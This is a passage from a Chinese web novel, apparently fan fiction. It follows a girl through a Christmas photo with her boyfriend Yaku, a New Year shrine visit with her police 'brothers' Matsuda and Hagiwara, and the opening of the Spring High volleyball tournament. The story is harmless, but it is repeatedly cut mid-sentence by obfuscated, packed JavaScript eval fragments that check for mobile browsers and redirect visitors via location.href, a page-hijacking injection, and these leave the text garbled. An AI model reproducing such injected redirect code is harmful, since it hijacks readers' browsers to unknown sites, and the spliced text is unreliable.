“啊，你是指最好的效果吗？”他回想了一下，“晚上天黑下来会更好看一点，上面的星星和彩球都会发光，绕着的白天肉眼看不清的星星灯和灯带也会亮，氛围更好一些。” “是想拍照吗？”他这么问我。 我沉思两秒，“有点，我们还没有正经合照过吧。” 本来以为我是想取材、甚至开始思考没有正经相机的话会不会对我造成影响的夜久：“……欸？” 我以为他不信，强调道：“是真的。”唯一的合照还是之前去游乐园的时候福永前辈悄悄拍的。 我平时都不太在意这些、也没怎么想起过，但刚刚突然想起这件事后，就不知道为什么突然觉得不太能接受了——不管怎么样，还是有点想和夜久前辈合照。 闻言，夜久毫无怨言地欣然应允，还思考了两秒别的，“那就逛完了之后再来拍照？” “好。” 97. 第九十七个小岛 商场内部的节日氛围的确很浓，放眼望去几乎每家店都推出了各种各样的圣诞限定款式的东西，比如圣诞老人和麋鹿角的发箍。 我买了几个待会拍照没准能用得上的发箍和发卡（虽然我觉得自己没法舍弃夜久前辈送的帽子，但又不是不可以多拍几张照片嘛），又挑了两双手套和围巾准备晚上送去给阵平哥他们。 虽然作为圣诞礼物的模型已经提前寄过去了……不过再加点也没关系，而且手套和围巾刚好还是圣诞限定的款式，可以加一点圣诞氛围之类的东西。 虽然我们好像都不是很在意节日氛围这种东西就是了……研二哥不算，他偶尔会突发奇想地在意一下。 阵平哥和我则是完全无所谓的类型。 逛到最后买了差不多能装满一个纸袋的东西，又在离出口不远的地方遇到了冰淇淋店，我们便一块在温暖的室内分食了一个草莓冰淇淋球，就差不多准备去圣诞树前拍两张合照。 冬天的夜晚一向来得很早，这个点天已经彻底暗下来了，圣诞树上灯带莹莹地亮起来，明黄色的暖光漾在夜空里，像自宇宙流淌下的银河那样，漂亮得惊人。 圣诞树前已经围了些人，都是同样想要拍照留念的人们，家长孩子、朋友情侣，大家纷纷围在圣诞树前，用手机将这一年一次的圣诞景象记录下来。 我站在出口遥遥看了会儿，沉思两秒，转头拉着夜久前辈走到圣诞树附近、可以清晰看到树顶的那个巨大的星星灯的地方停下。 这里往后拍可以刚好拍到星星灯，还有最顶上的那一小截坠着装饰的树顶，顺带因为视角和遮挡关系，也不会拍到其他同样在附近拍照的路人。 先找好角度带着帽子拍了一张，我再从袋子里将发箍掏出来，叫他选一个，最后一人带着款式不同的麋鹿角发箍拍了合照。 拍完，我便默默低头习惯性对着相册左看右看地瞧了半天，最后挑着收藏了几张总得来说我最喜欢的照片，其他的也同样一张没删。 “可惜没带拍立得……总觉得拍立得的效果会更好一点。”双手捧着手机低头看着屏幕，我默默盯了半晌，突然有些遗憾地这么道。 他正伸手搭着我的肩膀带着我往我家的方向走，准备先把我送回家再自己回家，一边看路一边偏头看我在屏幕上划拉来划拉去地挑照片。 闻言，他短暂思索两秒，“但拍立得自拍很不方便吧，那下次我帮你拍？” 我本人对拍除了合照之外的照片毫无兴趣，于是沉默两秒，摇了摇头，“……那还是算了。” “放弃得好快……不过只是想要拍立得的形式的话，其实可以送去打印哦。”他回想了一会儿，这么推荐道。 “……还能这样？”我卡了两秒，略有些惊讶地问，“送去哪里打印啊，打印店？” “唔……普通的打印店应该没有吧，拍立得比较小众的样子，去打印店打普通的照片会比较多，拍立得的话……应该只有专门的照相馆会有吧。” “欸……是这样啊。”平时都不常刷到这样的视频来着，也就没有了解过这样的东西。 # 看完照片发了夜久前辈一份之后，我就收了手机，转而牵住他的手，慢腾腾地跟他走在路上，有一搭没一搭和他随意地闲聊着。 但十七八分钟的路程着实称不上长，我们很快就走到了我家门口，刚开始琢磨着怎么跟他道别，一抬眼，我却望见我家门口似乎是站了两个颀长的、熟悉的背影。 脚步微微顿住，我定睛看了两秒，忽地有些惊讶地“咦”了一声。 是阵平哥和研二哥……已经到约定的时间了吗？ 下意识伸手摸出手机看了眼时间，离我们约定的时间还有大概十五分钟左右，他们应该是早来了……哦对，我没专门跟他们说我不在家来着。 差不多比我还早一瞬注意到我家门口站着的两个人，夜久刚警惕起来，便发现我脚步微顿，随即有些惊讶地出声，“阵平哥、研二哥？你们怎么提前来了？” 刚到不久，虽然见屋内黑着灯，但因为我也不是第一次大晚上只亮个 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“晚上好。”松田顺势抬了抬手，见我们走近，也顺势望向我身旁的夜久（不知道是不是错觉但我总觉得他好像往我们牵着的手上看了一眼……因为第一次见情侣吗？不管是阵平哥还是很受欢迎的研二哥，他们好像都直到现在都没有谈过恋爱来着）。 他抬手跟夜久打了个招呼，“好久不见。” 夜久前辈下意识回应，“好久不见，松田前辈、萩原前辈。” 萩原朝他挥了挥手，“好久不见啊夜久君。” 他友善地朝夜久弯唇笑了下，随即转头看向我，语带调侃地问：“这次是男朋友了吧？小绘？” ……啊。 一瞬间回想起文化祭时研二哥的问话，我不自觉顿了顿，下意识侧头望了眼正因“这次”这个用词而有些疑惑的夜久前辈，随即转回来。 下意识将夜久前辈的手攥紧了些，我顿了顿，随即点头，“现在是了。” 不自觉弯唇笑起来，我嗓音带上些微笑意，这么肯定地回答。 98. 第九十八个小岛 吃饭吃到一半，从我口中得知我和夜久前辈已经在一起将近三个月了的研二哥发出了震惊的声音，“这么久？怎么研二哥我一点也不知道？” 松田在旁边紧急算了一下时间，“那岂不是你来参加我们警校毕业典礼的时候就已经处于交往状态了？” “对呀。”我肯定地应了声，随即又有些疑惑，“我去参观你们的毕业典礼的时候没说吗？” 阵平哥和研二哥齐齐看向我，随即发出了比我更肯定的回答，“没有啊。” “……啊。”我在他们的视线下莫名有点心虚地眨了眨眼，“因为当时刚在一起没多久、还没适应过来，所以就忘记了。” “——诶？”研二哥发出了很夸张的声音，“竟然忘记研二哥了吗？明明我也算是你们恋爱环节功不可没的一环吧？” 啊……虽然的确是研二哥让我意识到我喜欢夜久前辈的，但当时夜久前辈本来就已经确定好要在那天告白了，我有没有确定自己的心意好像也不会影响到最后的结果。 ……毕竟我完全不可能拒绝夜久前辈的吧。 沉思半晌，我实话实说道：“但是告白不是我告——不是我准备的啊，意识没意识到好像也不算很重要吧？” 阵平哥重点一偏地揪了个字眼，“为什么告白不是你主动的说到一半不说了？” “……我意识到夜久前辈要告白的时候打断他抢先了。”沉思两秒，我无端有点犹豫地这么道。 萩原“哇”了声，“不愧是小绘！” 他倒是也没什么八卦的习惯，便也没多过问我们恋爱期间的细节，只是盯着我看了两秒，又抵着下巴沉思半晌，忽地叫了我一声，“小绘。” “嗯？”我咬着炸天妇罗有点茫然地抬头看向他。 他没继续说话，反倒是松田敲了敲桌子，将我的视线引过去，表情认真地接上幼驯染的话，“你开心吗？” ……？ “欸？”我有些诧异地微微睁大眼睛，下意识侧头望向他，“什么？” “你和你那位夜久前辈在一起的时，过得开心吗？”他安静两秒，这么重复地问道。 我微微愣住，半晌，因感受到他的认真也跟着下意识郑重起来，认真地思考了一下他的问题，随即毫不犹豫地肯定道：“开心。” “很开心，也很幸福。”我认真地继续道，“我很高兴我能遇见夜久前辈。” 他定定看我一会儿，意识到我的确是认真思考过后才做出的回答之后，才忽地微微呼出一口气。 他伸手揉了揉我的脑袋，语气带上些微笑意，“那就好。” 研二哥撑着下巴接话，“过得开心就好啦，要继续开心幸福下去哦。” “感到不高兴了、或者是被欺负了什么的，要记得来找我和小阵平——虽然我们的格斗成绩都不算顶尖，但多少还是够把你好好保护住的。” “……倒也没到这个程度吧？” 难免有些心情微妙地沉默两秒，但安静半晌，我还是轻轻点了点头，“我明白的。” ——我一直明白他们是怎么样的人的。 是那种，明明和自己毫无关联，也依旧会在发现认识的孩子受到欺负和孤立的时候毫不犹豫地挺身而出的那种傻瓜。 ……明明只会为他们造成麻烦的吧，带着小了六岁的、毫无话题地、性格孤僻又糟糕的妹妹玩，之类的。 ……虽然阵平哥总说警察是非常不靠谱的人，但一个职业里总是会有靠谱和不靠谱的两种人吧。 他们不就是那种正义的、善良的、毫不在意后果的那种热血笨蛋类型的警察吗。 能被他们接纳为妹妹……真的很幸运啊。 # 圣诞节后不久到来的便是新年。 大家都纷纷各回各家地和家人过年，我当然理所应当地没有一起过年的家人，便早早做好在暖桌里窝几天的打算。 不过计划总是会被什么事情打破的，新年第一天，我就忽地收到了阵平哥的消息。 【阵平哥：要不要一起去神社参拜】 【阵平哥：你们社团过几天要去打春高了吧？去抽个签？】 我最开始其实没什么想去的欲望，理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚过去五分钟……没让他们等太久就行。 这么想着，我提了提围巾，将下半张脸稍微遮住一些方便待会儿挡风，开口道：“走吧，我好了。” “还挺快。”松田颇有些惊讶地看了眼时钟，短暂惊讶了两秒我的速度，随即顺手拍拍我的脑袋，“走吧，研二开车。” 啊……上次圣诞节也是研二哥开车来着，他车技很好。 我于是毫无抗拒地点头，“好。” 99. 第九十九个小岛 要去的神社是全东京都算的上出名的那种，车程还蛮长的，将近四十多分钟才到。 神社位于一座小山上，山不高，楼梯路也没有很长，但人倒是意外很多。 穿过鲜红鸟居行至道路两侧，我顺着人群和走在旁边的两位哥哥向前，按着流程中规中矩老老实实地参拜完，便到了绘马许愿和抽签祈福的地方。 这里的人稍少一些，我四处看了眼，率先摸出钱包，从中摸出一枚一百日元的硬币，投进箱中后，便默念着心中的愿望，从巫女小姐递来的桶里抽出一根御神签。 ——是末吉。 没记错的话，是“最终会有好结果，但可能需要等待”的意思，虽然不算什么太好的签，但总之不是凶就好。 嗯……我倒是不太信这些东西，是个毫无疑问的唯物主义者，但好的还是可以信的。 最终会有好结果——真的可以得到这样的结果就好了。 我由衷地这么想着，一边默默往旁边走了两步，将位置让给后面来的一家人，一边将御神签小心收进怀里——按照传统，抽到“吉”可以带回家作为护身符或放入钱包珍藏，提醒自己保持积极；抽到“凶”和“大凶”则可以将签文系在神社指定的木架或绳索上，意为将厄运留在神社，借神明之力化解。 我倒是没有将签文放进钱包珍藏的欲望，只打算好好放到家里，让它在家里安安生生地当护身符。 好好放好之后，一转头，我看见正好也抽了签的阵平哥和研二哥，不禁有些好奇地凑过去想看一眼。 他们正对着自己手里的签文齐刷刷陷入微妙的沉默，我最初还不太理解他们究竟是看到了什么才会露出这样的表情，直到凑过去一看看到他们手上齐刷刷的两个“大凶”时，才终于理解了他们的表情。 不自觉的，我也跟着沉默两秒。 “……你们都许了什么愿啊？”我有些震撼，“怎么都是大凶？” 研二哥已经开始哀嚎了，“我只是随便问了一下之后能不能继续升职了而已，别这样啊！” 我不自觉有点无语：……没记错的话他们两个都刚刚升职过吧，能继续升职就怪了啊，哪有短时间内升职升这么快的。 顿了顿，我转头看向阵平哥。 他有些莫名，“我也不信这个啊，就随便许了个之后可以继续拆感兴趣的炸……模型的愿望，这都不让啊？” 说到一半，他紧急把差点脱口而出“炸弹”咽了回去，换成了模型，免得引起群众恐慌。 他又吐槽，“这神明还挺小气的，升职不让升，模型也不让拆，那还让干什么，回家睡觉啊。” “……‘模型’还是少有为好吧。”我不自觉有点担忧地伸手扯了扯阵平哥的袖子，又转头看向研二哥，“一直有新的要拆的话不是很危险吗？” ——他们两个可都是□□处理班的警察啊，这可是一不小心就丢命的工作。 还不自觉在心里担忧着，下一秒，我却突然感觉阵平哥非常不客气地伸手按了按我的发顶，“倒是相信点你哥我的实力，最多也就是三分钟的事，别每天担心这个。” 萩原和幼驯染统一战线，“对哦，我们升职就是因为实力远超其他人啊，不然也不能去当带队队长。别总操心些高中生不该操心的东西啦，你现在应该全身心都在之后的春高排比赛上才对。” 我低头躲了下，有点气闷于他们两个非常自信的态度，刚想说什么，便见研二哥像是突然想到什么一样，伸手竖起两根手指，“对了，我看了你们春高排的赛程，我和小阵平应该可以去看你们的比赛。” 松田肘他一下，“不是说确定了再说吗，我们那个假期不稳定的跟什么一样，有紧急任务的话还得赶回去。” “不能剥夺小绘的期待啊小阵平，”萩原信誓旦旦，“而且不管怎么说，重合的几天总不至于一场都看不到吧？” “但——” “小阵平不许乌鸦嘴。” “啧。” 我在旁边兀自回想一会儿，突然报出一个日期，问：“你们这天可以来吗？” 萩原停下跟幼驯染的拌嘴，稍微回想两秒，“有啊，怎么了？是很重要的比赛？” “那天如果一切顺利的话，是‘垃圾场决战’的日子哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309449|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”对上他们疑惑的目光，我言简意赅地将当初夜久前辈跟我解释的概念转述给他们，“还挺有意义的来着……所以想问问你们能不能来。” “不过，”顿了顿，我打了个补丁，“乌野他们上一场比赛的对手是尼崎市种子队的稻荷崎，乌野不一定能打过，我们音驹也不一定能打到那个时候。” “毕竟能闯进全国的队伍都很强啊。”顿了顿，我不自觉又有些惆怅。 松田对运动社团的这些东西其实都不太了解，也不太懂打进全国的含金量，但他很懂怎么从我的话中提重点，“那能闯进全国的音驹不是也很强吗？” “倒是也别提前丧失信心啊，”他单手握成拳，在我额前虚晃了晃，“这在拳击里可是大忌，你记得的吧？” 我知道他不会真的打到我，便丝毫没动，“记得归记得，但是……” “那就好好给我用上。”他没有听我忧心未开始的比赛的耐心，“哪有连比赛都没开始就认为自己会输的，出去别说是我教的你。” “……”我当时，没记错的话，好像也就只跟阵平哥和学了一点点怎么通过拳击锻炼身体的方法吧？应该也不至于扯到这么个严重的地步？ ……不过倒也说的没错就是了。 安静两秒，我默默应了一声，“哦。” 研二哥看了看时间，开始转移话题，“好啦好啦，我们准备走吧，还要把签文挂到那边的木架上呢，可别带着厄运回家。” “对了，”他突然想到什么，问我，“小绘，你抽到什么签了？” “末吉。”一边说着，我一边将刚收好不久的御神签掏出来给他看了看。 松田嘶了声，“我们运气还真是如出一辙的差啊。” “我应该归不到运气差的行列吧……好歹是吉啊。”我拒绝他这个说法，虽然末吉的确是最差的吉……但吉就是吉，跟他们两个大凶完全不一样。 余光瞥见又上前来了的几个人，我便又往旁边移了移，免得挡到别人。 视线不经意划过某处，又顿住，我忽地看到一个意料之外的人。 ……夜久前辈？ 100. 第一百个小岛 他在我身后两个位置排着队，正有点无语地一手按着一个长相很相似的、差不多八九岁的小男孩，我没看错的话那应该是双胞胎……是弟弟吧？头发和夜久前辈是同一个色系的，只是稍微深了一些。 是和家人一起来参拜的吗？ 在神社中碰见对方，脑海中浮现的不出意外就是这么个念头，我不禁微微一顿，下意识移了移视线，在他身侧望了一圈，看见一对和夜久前辈姿态亲昵的中年夫妻。 看起来都是情绪稳定温和的人……啊，如果我没认错的话，夜久前辈的发色应该是遗传的妈妈，头发颜色相当相近，两个弟弟则应该是遗传棕发的爸爸多一些。 ……说起来一直不太能定义夜久前辈的发色到底算是什么颜色的来着。 首先肯定是浅色系的，至于到底是什么颜色……卡其色肉色粉色好像都说不太准，稍微会有些苦恼。 ……不过我一般会直接统称成浅色，来着。 胡思乱想了会儿，可能是看的时间太久，一转眼，我忽地对上了那位眉眼温和的女性有些疑惑的目光。 ……啊。 被抓包，我下意识就要条件反射地迅速移开目光，又生怕给夜久前辈留下什么“奇怪的盯着他们的陌生人”的印象，于是又强行克制住撇过脸的冲动。 最后，我只视线飘了飘，便有些勉强地虚虚定在她身侧的某一个点，不自觉抿了抿被风吹得有些干裂的嘴唇。 ……我完全不清楚、被别人发现在看对方之后该做出什么反应啊。 短暂的惊慌在心中蔓开，我安静如鸡半晌，又忍不住轻轻侧过脸，侧眸往那边看了看，想看眼他们的反应。 ——又是一个措不及防的对视，但这次比上次好得多，这次是跟夜久前辈。 他正微微侧身听刚刚望过来的那位女性说些什么，视线自然地往这里看来的，望见我时，他明显有些讶异地微微睁大了眼睛。 夜久完全没料到能在这里看见我，他稍微懵了两秒，先下意识肯定了旁边见他没吭声又再次好奇地问那是不是他女朋友的妈妈的猜测，随即松开两个弟弟的手，第一时间摸出手机。 口袋里的手机发出接二连三的嗡鸣声，我跟着低头，看向刚弹了消息出来的手机屏幕。 【Yaku：好巧】 【Yaku：这个天气你竟然舍得出门了啊】 ……情不自禁的，我微微沉默两秒。 怎么第二条消息就是这个……好刻板印象。 不自觉在心中吐槽一句，我回他，【是跟哥哥一起出来的】 顿了顿，我又补充，【我刚刚抽到末吉了哦】 对面很快回了消息。 【Yaku：我还没排到呢】 【Yaku：你要不要等我一下？顺便见见我家里人什么的……没准备好的话也没关系的】 ……好快就切入正题了啊。 不自觉的，我稍微抬眼看了眼，发觉夜久前辈他们又往前上了一位、马上就要排到他们了。 我和阵平哥他们站的位置离抽签的地方不算近、毕竟离得近会干扰到其他要抽签的人，但也绝对称不上远，周围人又不多，我们站在这里已经堪称是鹤立鸡群的程度了。 绝对有被看到啊……现在说自己没准备好要走的话，肯定会留下些不好的印象的吧。 我不受控制地有些紧张起来，先默默发了一个【OK】的表情包过去，便默默缩了缩脖子，趁他们还没走到跟前转头跟阵平哥他们小声说了一句，“碰到夜久前辈和他的家人了……可能得稍微等一下。” 他们两个人其实哪一个都比我注意到的要早，凭一己之力压制了两个闹腾的双胞胎小孩的夜久还蛮显眼的其实，便也不惊讶，只萩原有些调侃地拍了拍我的肩，“进度喜人啊小绘。” 都快进到互见家长的最后环节了——小绘这边能被称作家长的也就他和小阵平了，早见完了。 “……”我更紧张了些，“……我不是很想要这样的进度喜人。” 倒是不要因为另一个进度已经到我这个年纪的最顶端就擅自推进另一个进度啊…… 注意到夜久前辈他们已经抽完了签朝我们这走了过来，我舌尖抵住上颚，微不可察地深吸一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309450|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚想说什么，下一秒，我便被突如其来响起的两道童声吓了一跳。 “小岛姐姐好！” 两个小男孩小尾巴似的跟在哥哥后面，正睁着圆溜溜的、和夜久前辈颜色相似的棕色眼睛有些好奇地打量我，距离稍微近些，便齐刷刷地开口问好。 下一秒，其中一个小男孩兴致勃勃地问：“姐姐，你就是——” 他话连一半都没说完，便被身后的母亲眼疾手快地捂着嘴拖了回去。 “不用在意他俩，小岛。”夜久妈妈依旧温和，“他们兄弟两个嘴上没个把门，但没有恶意。” 我不自觉有些紧张地揪了揪手，“我知道的……夜久阿姨好。” 没记错的话这还是第一次接触到这样类型的女性，不过、夜久妈妈跟夜久前辈多少有点像……应该说不愧是母子吗？ 不过多少有让我稍微放松一点……呼。 年长的女性细心地意识到我的紧张情绪，她无声且包容地弯弯眼睛，语气温和，“你好呀，小岛。不用这么紧张，直接叫我阿姨就好了。” 我应道：“好的阿姨……我叫小岛游绘，直接跟夜久前辈一起叫我小岛就好。” 作为不容易让初次见面的女孩子感到紧张的同性长辈，她又跟我介绍了旁边的棕发男人，“这是卫辅的父亲，你直接叫他叔叔就好。” 那是个儒雅的中年男性，我顺着夜久妈妈的话将视线移到他身上，乖巧道：“叔叔好。” 两个小男孩则是举着手积极地自己介绍自己。 “我叫夜久悠真！小岛姐姐你好！” “我叫悠斗，姐姐好！” 我卡了两秒，短暂思考了两秒称呼，“悠真悠斗好？” “嗯嗯姐姐好！！”他们齐声道。 夜久家那边介绍完了，就转而到我这边。 研二哥非常可靠地接手了我完全不擅长的介绍工作，“伯父伯母好，我叫萩原研二，这是松田阵平，我们是小绘的兄长。” “你们好呀。”夜久妈妈似乎是完全没注意到我们“兄妹”三人三个姓氏的事情，语气带着笑意地这么道。 101. 第一百零一个小岛 可能是因为双方家长都在场的原因，所以夜久妈妈只是跟我聊了两句之后便转而跟我这边的两个哥哥寒暄起来，大概是很体贴地给两个孩子腾出空间，虽然我和夜久前辈不管哪一个都没法被称作孩子就是了。 有研二哥在场，我便丝毫不担心地放心走掉，转头跟夜久前辈凑到一起。 他习惯性握住我伸过去的手，双手合住感受两秒温度，“欸？怎么这么冰？”明明看着穿挺暖和的啊。 我跟着用另一只手掌心贴上他手背，触了触他不比往常温暖的皮肤，闻言歪歪头看他一眼，“因为刚刚净手的时候沾水了啊，你手也没平时暖了。” 虽然跟我相比还是好不少就是了……我的手已经被冻得僵硬好久了，明明沾水之前还有些温度的。 这么想着，我抬手，下意识用手心贴了下自己的脸颊——嘶，好冷。 把自己冰了一下，我搓了搓指尖，默默安静半晌，突然想起什么，问：“夜久前辈，你刚刚抽到了什么签啊？” 虽然刚刚已经在手机上说过，但我还是将自己的御神签摸出来给他看了眼，“我是末吉。” “哦对，我还没看呢。”他后知后觉意识到自己还没看签文，回想两秒，顺着记忆从口袋里摸出刚刚因为注意着我这边而到手就随手塞进兜里的御神签。 我看着他揭开，露出其下明晃晃的“大吉”两个字，不禁顿了顿，小声“哇”了一声。 “大吉大凶不是很少见吗？”我有些感慨，“结果今天含量超标了啊……” 夜久正有些讶异地盯着签文，不知道在想些什么，闻言侧头看过来，顿了两秒，有些好奇地问：“另外的大吉大凶是……？” “只有大凶。”我纠正了一下他的措辞，“我哥哥他们全都是大凶——全部都是。” 再提起这事，我多少有些费解地碎碎念起来，“明明平时运气也没有很差的……偏偏在这种时候抽了两个大凶出来，运气好烂。” 升职和拆到有意思的炸弹明明都是很简单的事情才对……为什么会抽到大凶啊。 夜久其实不知道我真正忧心的点在哪里，我只跟他说过阵平哥他们是现役警察，具体的拆弹警察则完全没提。 他只以为我是单纯地有些遗憾于新年却不算好的运气，便安抚地伸手拍拍我的头，道：“待会去把签文挂到木架上吧，让神明把厄运带走。” “顺便，我也不介意和你分享大吉哦。”他朝我弯弯眼睛，语气坦然，“毕竟我的愿望也有你一份来着。” 我不自觉微微睁大了眼睛，下意识凑过去些，追问：“是什么？” “愿望说出来可就不灵了，好不容易的大吉呢。”他微微后仰着退后了一步，摆出一副我绝对不会说的坚决态度。 ……哦对，好像是有听说过这个说法。 不过，夜久前辈不是不信这些的吗，我记得他和我一样是唯物主义者啊。 这么想着，我有些疑惑地问他，“夜久前辈，你不是不信这个吗？” “这些东西肯定是宁可信其有不可信其无的吧。”说着，他朝我竖起一根手指，“而且这样之后就不会后悔当初说出口了啊。” 我稍微沉思了两秒，觉得他说的有道理。 “那我也不说了，”本来还想跟夜久前辈提一嘴呢，“等实现了再说。” 伸手，顺畅勾住他放松垂下的小指。 “如果夜久前辈的愿望实现了的话，也记得告诉我。”我这么跟他说。 跟我有关的愿望……稍微、会有一点好奇。 他有些讶异地侧眸看我一样，随即有些失笑地朝我弯弯眼睛，随即转手勾住我的手指，顺我的意跟我拉勾，“好呀。” 失约的人要吞一千根针……所以我们都会记得。 我想起抽御神签时心中浮起的愿望，半晌弯起眼笑了下。 会实现的。 我如此笃定地想。 # 在原地稍微聊了会儿，我们便一块去将抽到的几个坏签挂上神社专门准备的木架，又一起去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309451|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂了祈福的绘马（可能因为过几天就是春高，所以我们一行人貌似有大半写的都是有关于春高顺利的愿望），最后再一同顺着路下山。 因为彼此之后都有已经决定好的行程，我们便没再同行，在山脚下道别分开。 我刚远远单独和夜久前辈小幅度挥了挥手，一转头，便听刚刚跟夜久夫妇俩聊得都很愉快的研二哥语气欣慰地道：“你男朋友爸爸妈妈的性格都很不错啊，小绘，都很好相处。” 我心情有些微妙：“……研二哥，为什么你有种欣慰于我未来会过的很好的感觉？” “欸？有吗？” 我回想两秒，肯定点头，“有。” “因为你看起来有种要一辈子跟他在一起的决心。”阵平哥一针见血，颇为恨铁不成钢地伸手戳了下我的脑袋，“谈个恋爱还给自己谈出恋爱脑了，出息。” 我沉默半秒，反驳后半句，“倒也没有到恋爱脑的程度吧？” “你只回答后半句就已经很恋爱脑了。”他吐槽。 “……” 我移开视线，不回话了。 ——早晚学会胡说八道和掩饰表情。 再之后，我们按着计划去了找好的餐厅吃饭，是新年会吃的怀石料理，味道很不错——价格估计也不菲。 虽说哥哥们都接二连三地升职，但毕竟刚毕业没几个月，工资再怎么涨也多不到哪去，我于是沉思半秒，借口说自己出去拿瓶饮料，便顺路拐去收银台，提前给我们那桌结了账。 还好提前预料到了，所以提前带了银行卡过来。 等服务员刷卡打印小票的空档，我短暂回忆了一下自己的存款。 是不是该考虑一下未来的工作了？最开始很摆烂的那种靠存款过一辈子的想法果然还是可行性太低了……总觉得还是有正常正经的工作和收入才安心一些。 但也不太想正常地进入职场上班，总觉得空闲时间会很少……要不问问之前的吉他老师，如果我愿意还可以去联系对方的承诺还做不做数？ 102. 第一百零二个小岛 暂且不提发现我偷溜出去结账之后阵平哥和研二哥的反应，新年刚过几天，紧接着到来的便是我们期待了很久、也努力了很久的比赛。 全国高中排球锦标赛，俗称春高排，也被称为排球界的甲子园，是高中的排球大赛中最受大众关注的赛事。 排球部时隔五年再次打入全国，可谓是非常受学校重视，向上申请的各项支出全部被通过了，比如旅馆的经费、还有接送选手往返赛场的大巴车，以及每天订购的营养餐的花销。 ——非常难得的全部批下来了！ 我本来还担心猫又教练让我将吃住的花销都往上提一点档次（所有人算下来加了好多钱呢）的申请会不会被驳回，现在想起来，教练他果然是预料到了吧。 ——不愧是猫又教练啊。 # 开幕式开始前的一个半小时，为了预防意外发生，我们提前乘大巴去了场馆。 选手们要去候场候场区候场准备开幕式，我则呆在场馆里，等待开幕式开始的空档顺便帮大家看包。 我依旧将羽绒服焊在身上，里面则是套了件高领毛衣和外面的音驹校服外套，这样在外面不用担心被风吹着冷，在室内也不用担心衣服穿厚了而感觉热。 同我严严实实的穿着相比，排球部的其他人穿得根本称不上厚，乍一眼看像两个不同季节似的，灰羽在看到我的那一瞬间就非常震撼地问我这个天穿羽绒服难道不热吗。 ……跟他们打排球的运动少年说不清楚，我便兀自思考了一会儿，抬手跟他握了一下手。 他被冰一激灵之后就默默地闭嘴了。 转头对上夜久前辈带着些询问意味的目光，我凑到他身旁把手塞进他掌心，转头看眼灰羽，确定他走远听不到之后才默默解释，“刚洗过手。” “喔，”他习惯性帮我捂了捂手，“这样。” 不过，虽然手是因为洗了手沾过水才这么凉，但之后还是会这么保持很长一段时间的低温，才能慢慢回暖。 被风吹了的话时间又要往后挪，所以我才讨厌冬天啊。 “对了，”提到这件事，我想到什么，有些好奇地转头问夜久前辈，“夜久前辈，为什么比赛的俗称是春高排，但是却在冬天举行啊？” “欸？你不知道吗？”闻言，夜久前辈有些讶异地问。 嗯……好熟悉的句式。 下意识回想了一下上次是什么时候听到的，但未果，我便朝着夜久前辈摇了摇头。 “本来的确是春天举行的啦，”他想了想，琢磨了一会儿，开始跟我讲这背后的故事，“本来是三月份举行的，但是因为三年级的前辈们要准备升学，根本参加不了春高，所以后来为了让前辈们不留下遗憾，就改到一月份举行了。” “不过简称还是春高就是了。”他补充道。 “这样啊。”我思考一会儿，“但是春高结束之后，算上调整状态的时间也差不多一月中旬了吧？” “这点时间够复习吗？”我有些好奇地问。 这种超级重要的大型考试，就连我这个不怎么复习的人都会稍微上点心，提前空出一两个月去复习来着，就比如初中升高中的升学考。 最后考出了比之前还要好一点的成绩——啊，虽然最后倒是也没有去上最好的学校就是了。这么想总感觉有点浪费我的分数……不过我完全不后悔就是了。 扯远了。 夜久前辈闻言笑了下，“这个因人而异吧，有些人会选择在春高之前退部专注学业，也有些人会选择继续打下去。” 我回想了一会儿，“我知道的前辈们是不是都没有退部的？” 音驹没有、乌野没有、枭谷没有……都没有吧？ “你认识的都是正式队员吧。”夜久想了想，“一般到三年级还没有退部的基本都是正式队员了，主力大多都不会退出的。” “可以打春高排的话，不管是谁都会选择继续去打的吧。”他这么道，“那可是春高排啊。” 对，这可是春高排啊。 “——大家久等了。” “即将举行的是春高排，即全国高中排球锦标赛开幕式。” 空间广大的会场上空，被广播传远的男声正宣读着提示音，我抬眼望向比赛场内开始指挥的工作人员，不自觉双眼发亮地微微睁大眼。 “有请大赛冠军旗入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 